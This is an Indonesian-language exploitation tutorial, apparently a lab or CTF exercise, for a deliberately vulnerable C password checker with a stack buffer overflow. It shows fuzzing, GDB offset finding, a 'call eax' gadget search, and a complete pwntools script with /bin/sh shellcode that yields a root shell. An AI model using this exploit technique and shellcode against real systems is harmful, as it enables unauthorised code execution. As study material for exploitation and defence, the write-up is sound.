Sploit Fun

Masalah

Diberikan berkas vuln yang memiliki source code dibawah ini.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void store_passwd_indb(char* passwd)
{
}

void validate_uname(char* uname)
{
}

void validate_passwd(char* passwd)
{   char passwd_buf[11];
    unsigned char passwd_len = strlen(passwd); /* [1] */
    if(passwd_len >= 4 && passwd_len <= 8)   /* [2] */
    {   printf("Valid Password\n"); /* [3] */
        fflush(stdout);
        strcpy(passwd_buf,passwd); /* [4] */
    }
    else
    {   printf("Invalid Password\n"); /* [5] */
        fflush(stdout);
    }
    store_passwd_indb(passwd_buf); /* [6] */
}

int main(int argc, char* argv[])
{   if(argc!=3)
    {   printf("Usage Error:   \n");
        fflush(stdout);
        exit(-1);
    }
    validate_uname(argv[1]);
    validate_passwd(argv[2]);
    return 0;
}

Penyelesaian

Pengumpulan Informasi

Periksa keamanan binary dengan checksec terlebih dahulu.

checksec vuln
[*] '/../vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

Ternyata NX disabled sehingga bisa mengeksekusi shellcode secara langsung. Kemudian berdasarkan source code, program tersebut meminta dua input yakni username dan password. Jika panjang password 4-8 karakter maka dikatakan valid dan fungsi strcpy dapat dipanggil.

Identifikasi Kelemahan

Ada dua kelemahan yang ada pada program disebabkan oleh fungsi strlen dan strcpy. Pertama fungsi strlen bisa dilewati dengan memasukkan karakter \x00 sehingga input yang memiliki panjang lebih dari 8 karakter bisa dikatakan valid oleh program. Kedua fungsi strcpy yang dapat menyebabkan stack overflow dan segmentation fault jika buffer yang dimasukkan melebihi kapasitas passwd_buf.

Jika dilihat lebih lanjut kelemahan strlen batal karena sudah ada NULL termination pada mekanisme argv. Untuk identifikasi kelemahan bisa melakukan fuzz pada parameter password dengan script dibawah ini.

find_segfaults_by_args.sh

#!/bin/bash
buffer=""
for i in {1..2048}
do
    echo $i
    buffer+="A"
    ./$1 $2 $buffer
    if [ $? -eq 139 ]; then
        echo "SEGMENTATION FAULT on $i BUFFER"
        break
    fi
done

Jalankan script dengan parameter vuln dan dummy.

# ./find_segfault_args.sh vuln dummy

~ skipped ~
...
259
Invalid Password
260
Valid Password
./find_segfault_args.sh: line 3: 15698 Segmentation fault      (core dumped) ./$1 $2 $buffer
SEGMENTATION FAULT on 260 BUFFER

Dengan demikian binary akan mengalami segmentation fault jika buffer yang dimasukkan sebesar 260 bytes.

Eksploitasi

Buka GDB, untuk melihat informasi lebih lanjut.

# gdb -q vuln
gdb-peda$ r 'dummy' `python -c 'print "A"*260'`

Luaran

Valid Password

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0xffffd2b4 ('A' <repeats 200 times>...)
EBX: 0xffffd300 ('A' <repeats 184 times>)
ECX: 0xffffd660 --> 0x414141 ('AAA')
EDX: 0xffffd3b5 --> 0x414141 ('AAA')
ESI: 0xf7fa7000 --> 0x1b1db0
EDI: 0xf7fa7000 --> 0x1b1db0
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd2d0 ('A' <repeats 200 times>...)
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xffffd2d0 ('A' <repeats 200 times>...)
0004| 0xffffd2d4 ('A' <repeats 200 times>...)
0008| 0xffffd2d8 ('A' <repeats 200 times>...)
0012| 0xffffd2dc ('A' <repeats 200 times>...)
0016| 0xffffd2e0 ('A' <repeats 200 times>...)
0020| 0xffffd2e4 ('A' <repeats 200 times>...)
0024| 0xffffd2e8 ('A' <repeats 200 times>...)
0028| 0xffffd2ec ('A' <repeats 200 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()

Ternyata register EIP sudah tertimpa dengan buffer AAAA, untuk mencari posisi buffer yang menimpa register EIP, gunakan pattern create.

gdb-peda$ pattern create 260 delete.me
gdb-peda$ r 'dummy' `python -c 'print open("delete.me").read().rstrip()'`

Luaran

Valid Password

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0xffffd2b4 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
EBX: 0xffffd300 ("AA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA")
ECX: 0xffffd660 --> 0x4c004163 ('cA')
EDX: 0xffffd3b6 --> 0xd6004163
ESI: 0xf7fa7000 --> 0x1b1db0
EDI: 0xf7fa7000 --> 0x1b1db0
EBP: 0x41412d41 ('A-AA')
ESP: 0xffffd2d0 ("AA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%"...)
EIP: 0x44414128 ('(AAD')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x44414128
[------------------------------------stack-------------------------------------]
0000| 0xffffd2d0 ("AA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%"...)
0004| 0xffffd2d4 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;"...)
0008| 0xffffd2d8 ("EAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A"...)
0012| 0xffffd2dc ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%"...)
0016| 0xffffd2e0 ("AFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0"...)
0020| 0xffffd2e4 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA"...)
0024| 0xffffd2e8 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%"...)
0028| 0xffffd2ec ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x44414128 in ?? ()

Ternyata register EIP sudah tertimpa dengan buffer (AAD, untuk mencari index buffer yang menimpa register EIP, gunakan script dibawah ini.

echo `python -c 'print open("delete.me").read().rstrip().index("(AAD")'`

Luaran

24

Oleh karena itu, payload untuk parameter password menjadi seperti ini.

gdb-peda$ r 'dummy' `python -c 'print "A"*24+"$EIP"+"B"*232'`

Luaran

Valid Password

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0xffffd2b4 ('A' <repeats 24 times>, "$EIP", 'B' <repeats 172 times>...)
EBX: 0xffffd300 ('B' <repeats 184 times>)
ECX: 0xffffd660 --> 0x424242 ('BBB')
EDX: 0xffffd3b5 --> 0x424242 ('BBB')
ESI: 0xf7fa7000 --> 0x1b1db0
EDI: 0xf7fa7000 --> 0x1b1db0
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd2d0 ('B' <repeats 200 times>...)
EIP: 0x50494524 ('$EIP')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x50494524
[------------------------------------stack-------------------------------------]
0000| 0xffffd2d0 ('B' <repeats 200 times>...)
0004| 0xffffd2d4 ('B' <repeats 200 times>...)
0008| 0xffffd2d8 ('B' <repeats 200 times>...)
0012| 0xffffd2dc ('B' <repeats 200 times>...)
0016| 0xffffd2e0 ('B' <repeats 200 times>...)
0020| 0xffffd2e4 ('B' <repeats 200 times>...)
0024| 0xffffd2e8 ('B' <repeats 200 times>...)
0028| 0xffffd2ec ('B' <repeats 200 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x50494524 in ?? ()

Ternyata buffer B tersimpan pada register EAX. Petunjuk ini bisa digunakan untuk memanggil gadget semacam call eax untuk mengeksekusi shellcode dan NOP sebagai pengganti buffer B. Untuk mencari gadget gunakan ROPgadget.

$ ROPgadget --binary vuln | grep 'call eax'
~ skipped ~
0x08048463 : call eax
~ skipped ~

Agar gadget dieksekusi, bisa diletakkan pada isi register EIP sehingga payload akhir menjadi seperti ini.

payload = 'A'*24
payload += p32(0x08048463) # call eax;
payload += shellcode
payload += '\x90'*207 # nop

Ini dia script akhir untuk eksploitasi binary ini.

solver.py

from signal import alarm
from time import sleep
from pwn import *

alarm(30)

shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80'
username = 'sploitfun'

payload = 'A'*24
payload += p32(0x08048463) # call eax;
payload += shellcode
payload += '\x90'*207 # nop

print len(payload)

while 1:
    proc = process(['./vuln', username, payload])
    proc.interactive()
    sleep(1)

Jalankan dan dapatkan luaran semacam ini.

$ python solver.py
~ skipped ~
$
[+] Starting local process './vuln': pid 18418
[*] Switching to interactive mode
Valid Password
[*] Got EOF while reading in interactive
$
[*] Process './vuln' stopped with exit code -11 (SIGSEGV) (pid 18418)
[*] Got EOF while sending in interactive
[+] Starting local process './vuln': pid 18422
[*] Switching to interactive mode
Valid Password
$
$ id
uid=0(root) gid=0(root) groups=0(root)
$ whoami
root
$

results matching ""

    No results matching ""